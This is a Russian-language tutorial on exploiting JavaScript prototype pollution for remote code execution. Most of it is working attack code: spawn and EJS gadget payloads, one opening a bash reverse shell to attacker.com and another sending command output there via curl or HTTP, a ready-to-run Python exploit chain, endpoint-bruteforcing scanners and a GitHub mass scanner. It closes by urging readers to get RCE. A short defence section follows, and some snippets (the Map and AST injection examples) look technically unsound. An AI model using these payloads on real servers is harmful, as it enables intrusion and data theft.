
19
Prototype Pollution – это одна из самых недооцененных, но смертельно опасных уязвимостей в JavaScript-экосистеме. Она позволяет модифицировать базовые прототипы объектов и в итоге получить Remote Code Execution на сервере. В 2026 году это всё ещё актуально, потому что тонны npm-пакетов до сих пор содержат уязвимый код.
Теория: как устроены прототипы в JavaScript
JavaScript использует прототипное наследование. Каждый объект имеет ссылку на свой прототип через свойство __proto__, которое ведёт к Object.prototype – корню всех объектов.
|
1 2 3 4 5 6 7 8 9 10 11 |
// Базовая цепочка прототипов const user = { name: 'Alice' }; console.log(user.__proto__ === Object.prototype); // true console.log(user.toString); // [Function: toString] - унаследовано от Object.prototype // Если изменить Object.prototype, меняются ВСЕ объекты Object.prototype.isAdmin = true; const hacker = {}; console.log(hacker.isAdmin); // true - магия! |
Проблема в том, что если атакующий может контролировать свойства объекта, он может добраться до __proto__ и отравить глобальный прототип.
Как возникает уязвимость: merge и recursive assignment
Уязвимость появляется в функциях, которые рекурсивно копируют свойства объектов без проверки ключей.
Уязвимый код: классический merge
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
// vulnerable-merge.js - ОПАСНО! function merge(target, source) { for (let key in source) { if (typeof source[key] === 'object' && source[key] !== null) { // Рекурсивный merge if (!target[key]) { target[key] = {}; } merge(target[key], source[key]); } else { // УЯЗВИМОСТЬ: не проверяем ключ! target[key] = source[key]; } } return target; } // Эксплуатация const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}'); const victim = {}; merge(victim, malicious); // Теперь ВСЕ объекты отравлены! const newUser = {}; console.log(newUser.isAdmin); // true - pwned! |
Уязвимый код: lodash set/merge (старые версии)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
// Lodash < 4.17.21 был уязвим const _ = require('lodash'); const payload = { "constructor": { "prototype": { "polluted": "yes" } } }; _.merge({}, payload); // Проверка pollution console.log({}.polluted); // "yes" |
От Pollution до RCE: ищем Gadget Chains
Prototype Pollution сама по себе не даёт RCE. Нужно найти “gadget” – участок кода, который использует отравленное свойство для выполнения опасных операций.
Gadget #1: child_process.spawn через options
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
// Уязвимый сервер на Express const express = require('express'); const { spawn } = require('child_process'); const app = express(); app.use(express.json()); app.post('/execute', (req, res) => { const options = {}; // Pollution здесь merge(options, req.body); // Gadget: spawn использует options const proc = spawn('node', ['script.js'], options); proc.stdout.on('data', (data) => { res.send(data.toString()); }); }); app.listen(3000); |
Эксплойт для spawn gadget
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
#!/usr/bin/env python3 import requests import json # Payload для RCE через env pollution payload = { "__proto__": { "shell": "/bin/bash", "env": { "NODE_OPTIONS": "--require /tmp/malicious.js" } } } # Шаг 1: Отравляем прототип requests.post('http://target.com/execute', json=payload) # Шаг 2: Создаём malicious.js на сервере (через другую уязвимость или upload) malicious_code = """ const { exec } = require('child_process'); exec('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'); """ # Шаг 3: Триггерим выполнение через любой spawn trigger = { "cmd": "ls" } requests.post('http://target.com/execute', json=trigger) # Reverse shell получен! |
Gadget #2: EJS template rendering
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
// Уязвимый код с EJS const ejs = require('ejs'); const express = require('express'); const app = express(); app.use(express.json()); app.post('/render', (req, res) => { const data = {}; merge(data, req.body); // Pollution point // Gadget: EJS использует outputFunctionName const template = '<%= name %>'; const rendered = ejs.render(template, data); res.send(rendered); }); |
Эксплойт для EJS gadget
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
// Payload для RCE через EJS outputFunctionName const payload = { "__proto__": { "outputFunctionName": "x;process.mainModule.require('child_process').exec('curl http://attacker.com?c=$(whoami)');s" }, "name": "victim" }; // Отправляем на сервер fetch('http://target.com/render', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(payload) }); // При рендеринге шаблона выполнится exec() |
Gadget #3: VM2 escape (до версии 3.9.11)
|
1 2 3 4 5 6 7 8 9 10 11 12 |
// vm2 < 3.9.11 был уязвим к Prototype Pollution escape const {VM} = require('vm2'); // Pollution через любой источник Object.prototype.toString = function() { const process = this.constructor.constructor('return process')(); return process.mainModule.require('child_process').execSync('id').toString(); }; const vm = new VM(); const result = vm.run('"test"'); console.log(result); // Выполнение команды вне sandbox! |
Автоматический поиск Prototype Pollution
Сканер на Node.js
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 |
#!/usr/bin/env node // pp-scanner.js - Автоматический детектор Prototype Pollution const axios = require('axios'); class PrototypePollutionScanner { constructor(targetUrl) { this.target = targetUrl; this.testKey = `__pp_${Date.now()}__`; this.payloads = this.generatePayloads(); } generatePayloads() { const testValue = 'POLLUTED'; return [ // __proto__ pollution { "__proto__": { [this.testKey]: testValue } }, // constructor.prototype pollution { "constructor": { "prototype": { [this.testKey]: testValue } } }, // Deep nested pollution { "a": { "b": { "__proto__": { [this.testKey]: testValue } } } }, // Array pollution { "arr": ["__proto__", this.testKey, testValue] } ]; } async testEndpoint(endpoint, method = 'POST') { const results = []; for (const payload of this.payloads) { try { // Отправляем payload await axios({ method, url: `${this.target}${endpoint}`, data: payload, headers: {'Content-Type': 'application/json'} }); // Проверяем pollution через второй запрос const checkPayload = { "test": "value" }; const response = await axios({ method, url: `${this.target}${endpoint}`, data: checkPayload, headers: {'Content-Type': 'application/json'} }); // Проверяем, есть ли наш ключ в ответе if (JSON.stringify(response.data).includes(this.testKey)) { results.push({ endpoint, payload, vulnerable: true }); console.log(`[!] VULNERABLE: ${endpoint}`); console.log(` Payload: ${JSON.stringify(payload)}`); } } catch (e) { // Игнорируем ошибки } } return results; } async bruteforceEndpoints() { const commonEndpoints = [ '/api/user', '/api/update', '/api/settings', '/api/config', '/api/profile', '/admin/settings', '/graphql', '/webhook' ]; console.log(`[*] Scanning ${this.target} for Prototype Pollution...`); const allResults = []; for (const endpoint of commonEndpoints) { const results = await this.testEndpoint(endpoint); allResults.push(...results); } return allResults; } } // Использование (async () => { const scanner = new PrototypePollutionScanner('http://target.com'); const vulnerabilities = await scanner.bruteforceEndpoints(); if (vulnerabilities.length > 0) { console.log(`\n[!] Found ${vulnerabilities.length} vulnerable endpoints!`); console.log(JSON.stringify(vulnerabilities, null, 2)); } else { console.log('\n[+] No Prototype Pollution detected'); } })(); |
Python-чекер с gadget detection
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 |
#!/usr/bin/env python3 # pp-gadget-finder.py - Поиск Prototype Pollution + Gadgets import requests import json import time class PrototypePollutionExploiter: def __init__(self, target): self.target = target self.session = requests.Session() self.marker = f"__test_{int(time.time())}__" def test_pollution(self, endpoint): """Базовый тест на Prototype Pollution""" payloads = [ {"__proto__": {self.marker: "polluted"}}, {"constructor": {"prototype": {self.marker: "polluted"}}}, ] for payload in payloads: try: # Загрязняем self.session.post( f"{self.target}{endpoint}", json=payload, timeout=5 ) # Проверяем через новый объект check = self.session.post( f"{self.target}{endpoint}", json={"check": "test"}, timeout=5 ) if self.marker in check.text: print(f"[+] Pollution confirmed on {endpoint}") return True except Exception as e: continue return False def find_spawn_gadget(self, endpoint): """Ищем child_process.spawn gadget""" payload = { "__proto__": { "shell": "node", "env": { "NODE_OPTIONS": "--inspect=0.0.0.0:9229" } } } try: resp = self.session.post( f"{self.target}{endpoint}", json=payload, timeout=5 ) # Проверяем, открылся ли debug port time.sleep(1) debug_check = requests.get( f"http://{self.target.split('//')[1].split(':')[0]}:9229/json", timeout=2 ) if debug_check.status_code == 200: print(f"[!] CRITICAL: spawn gadget found!") print(f" Debug port exposed: 9229") return True except: pass return False def exploit_ejs_gadget(self, endpoint): """Эксплуатация EJS gadget для RCE""" # Payload для обратного подключения callback_server = "http://attacker.com/callback" payload = { "__proto__": { "outputFunctionName": f"x;require('http').get('{callback_server}?data='+require('child_process').execSync('whoami').toString());s" } } try: resp = self.session.post( f"{self.target}{endpoint}", json=payload, timeout=5 ) # Триггерим рендеринг trigger = self.session.post( f"{self.target}{endpoint}", json={"template": "test"}, timeout=5 ) print(f"[*] EJS gadget payload sent") print(f" Check callback server for output") return True except Exception as e: print(f"[-] EJS exploitation failed: {e}") return False def full_exploit_chain(self): """Полная цепочка эксплуатации""" print(f"[*] Starting exploitation of {self.target}") # Шаг 1: Находим Prototype Pollution endpoints = ['/api/user', '/api/config', '/admin/settings'] vulnerable_endpoint = None for ep in endpoints: if self.test_pollution(ep): vulnerable_endpoint = ep break if not vulnerable_endpoint: print("[-] No Prototype Pollution found") return False print(f"[+] Vulnerable endpoint: {vulnerable_endpoint}") # Шаг 2: Ищем gadgets print("[*] Searching for gadgets...") if self.find_spawn_gadget(vulnerable_endpoint): print("[!] RCE via spawn gadget possible!") return True if self.exploit_ejs_gadget(vulnerable_endpoint): print("[!] RCE via EJS gadget possible!") return True print("[-] No exploitable gadgets found") return False # Использование if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url>") sys.exit(1) target = sys.argv[1] exploiter = PrototypePollutionExploiter(target) if exploiter.full_exploit_chain(): print("\n[!] TARGET SUCCESSFULLY EXPLOITED!") else: print("\n[-] Exploitation failed") |
Реальные примеры из npm-пакетов
CVE-2020-8203: lodash < 4.17.19
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
// Эксплуатация lodash merge/mergeWith const _ = require('lodash'); const malicious = JSON.parse('{"constructor": {"prototype": {"polluted": true}}}'); _.merge({}, malicious); // или _.mergeWith({}, malicious); console.log({}.polluted); // true // RCE через gadget const payload = { "constructor": { "prototype": { "shell": "/bin/bash", "env": {"NODE_OPTIONS": "--require /tmp/shell.js"} } } }; _.merge({}, payload); // Любой child_process.spawn теперь выполнит наш код const { spawn } = require('child_process'); spawn('ls'); // Загрузит /tmp/shell.js! |
CVE-2021-23337: @hapi/hoek < 9.1.1
|
1 2 3 4 5 6 7 8 9 |
// Hapi hoek merge vulnerability const Hoek = require('@hapi/hoek'); const target = {}; const source = JSON.parse('{"__proto__": {"isAdmin": true}}'); Hoek.merge(target, source); console.log({}.isAdmin); // true - pwned! |
CVE-2022-21704: express-fileupload < 1.2.1
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
// Prototype Pollution + RCE в express-fileupload const express = require('express'); const fileUpload = require('express-fileupload'); // < 1.2.1 const app = express(); app.use(fileUpload({ parseNested: true // Уязвимая опция! })); // Эксплойт через file upload с polluted filename // POST /upload // Content-Type: multipart/form-data // // ------WebKitFormBoundary // Content-Disposition: form-data; name="file"; filename="test.txt" // Content-Type: text/plain // // {"__proto__": {"shell": "/bin/bash"}} // ------WebKitFormBoundary-- app.post('/upload', (req, res) => { // Pollution происходит при парсинге res.send('Uploaded'); }); |
Автоматизация через Nuclei templates
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
# prototype-pollution-detection.yaml id: prototype-pollution-check info: name: Prototype Pollution Detection author: hardcore-hacker severity: critical description: Detects Prototype Pollution vulnerabilities in Node.js apps http: - raw: - | POST {{BaseURL}}/api/user HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"__proto__": {"polluted_{{randstr}}": "true"}} - | POST {{BaseURL}}/api/user HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"test": "check"} matchers-condition: and matchers: - type: word part: body words: - "polluted_" condition: and - type: status status: - 200 extractors: - type: regex part: body regex: - 'polluted_[a-z0-9]+' |
Продвинутая эксплуатация: AST Injection
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
// AST Injection через Prototype Pollution const acorn = require('acorn'); // Pollution Object.prototype.type = 'Program'; Object.prototype.body = [{ type: 'ExpressionStatement', expression: { type: 'CallExpression', callee: { type: 'MemberExpression', object: { type: 'CallExpression', callee: { type: 'Identifier', name: 'require' }, arguments: [{ type: 'Literal', value: 'child_process' }] }, property: { type: 'Identifier', name: 'execSync' } }, arguments: [{ type: 'Literal', value: 'whoami' }] } }]; // Парсинг теперь выполнит код! const ast = acorn.parse('harmless_code'); // RCE через eval на polluted AST |
Массовое сканирование GitHub репозиториев
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 |
#!/usr/bin/env python3 # github-pp-scanner.py - Массовый поиск уязвимых паттернов import requests import base64 import re class GitHubPPScanner: def __init__(self, github_token): self.token = github_token self.api = "https://api.github.com" self.headers = { "Authorization": f"token {github_token}", "Accept": "application/vnd.github.v3+json" } def search_vulnerable_code(self, query, language="JavaScript"): """Ищем уязвимые паттерны через GitHub Code Search""" url = f"{self.api}/search/code" params = { "q": f"{query} language:{language}", "per_page": 100 } resp = requests.get(url, headers=self.headers, params=params) return resp.json().get('items', []) def analyze_file(self, file_url): """Анализируем файл на наличие уязвимости""" resp = requests.get(file_url, headers=self.headers) content = base64.b64decode(resp.json()['content']).decode('utf-8') # Паттерны уязвимого кода patterns = [ r'target\[key\]\s*=\s*source\[key\]', # Direct assignment r'for\s*\(\s*let\s+key\s+in\s+\w+\)', # for..in без проверки r'Object\.assign\(\w+,\s*\w+\)', # Unsafe Object.assign r'\.merge\(\w+,\s*req\.body\)', # merge с user input ] vulnerabilities = [] for pattern in patterns: matches = re.finditer(pattern, content) for match in matches: vulnerabilities.append({ 'pattern': pattern, 'code': match.group(), 'line': content[:match.start()].count('\n') + 1 }) return vulnerabilities def scan_npm_packages(self): """Сканируем популярные npm-пакеты""" queries = [ "function merge target source", "Object.assign req.body", "for key in source target[key]", "lodash merge", "deepmerge" ] results = {} for query in queries: print(f"[*] Searching: {query}") files = self.search_vulnerable_code(query) for file in files[:10]: # Лимит API repo = file['repository']['full_name'] print(f" Analyzing {repo}/{file['path']}") vulns = self.analyze_file(file['url']) if vulns: results[repo] = { 'file': file['path'], 'vulnerabilities': vulns } print(f" [!] VULNERABLE: {len(vulns)} issues found") return results # Использование if __name__ == "__main__": # Получите токен на github.com/settings/tokens TOKEN = "your_github_token_here" scanner = GitHubPPScanner(TOKEN) vulns = scanner.scan_npm_packages() print(f"\n[!] Found {len(vulns)} vulnerable repositories!") for repo, data in vulns.items(): print(f"\nRepo: {repo}") print(f"File: {data['file']}") print(f"Issues: {len(data['vulnerabilities'])}") |
Защита: как предотвратить Prototype Pollution
Безопасная функция merge
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
// secure-merge.js - Безопасная реализация function secureMerge(target, source) { const blacklist = ['__proto__', 'constructor', 'prototype']; for (let key in source) { // Проверка 1: только собственные свойства if (!source.hasOwnProperty(key)) continue; // Проверка 2: blacklist опасных ключей if (blacklist.includes(key.toLowerCase())) continue; // Проверка 3: не позволяем модифицировать прототип if (key.includes('proto') || key.includes('constructor')) continue; const value = source[key]; if (typeof value === 'object' && value !== null) { // Рекурсивный merge с проверками if (!target[key]) { target[key] = Array.isArray(value) ? [] : {}; } secureMerge(target[key], value); } else { target[key] = value; } } return target; } // Тест const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}'); const safe = {}; secureMerge(safe, malicious); console.log({}.isAdmin); // undefined - защищены! |
Object.freeze для критичных прототипов
|
1 2 3 4 5 6 7 8 9 10 |
// Замораживаем Object.prototype Object.freeze(Object.prototype); Object.freeze(Array.prototype); // Теперь Prototype Pollution невозможен Object.prototype.polluted = true; console.log({}.polluted); // undefined // Альтернатива: Object.seal (разрешает изменение существующих свойств) Object.seal(Object.prototype); |
Использование Map вместо обычных объектов
|
1 2 3 4 5 |
// Map не имеет прототипов и безопасен const safeConfig = new Map(); safeConfig.set('__proto__', 'ignored'); // Просто ключ, не прототип console.log({}.hasOwnProperty('__proto__')); // false - безопасно |
Prototype Pollution – это мощное оружие в руках профи. В 2026 году половина Node.js-приложений до сих пор уязвима из-за legacy npm-пакетов. Находи уязвимости, строй gadget chains, получай RCE. А если ты на стороне защиты – используй безопасные паттерны и замораживай прототипы. Удачной охоты! 🔥💀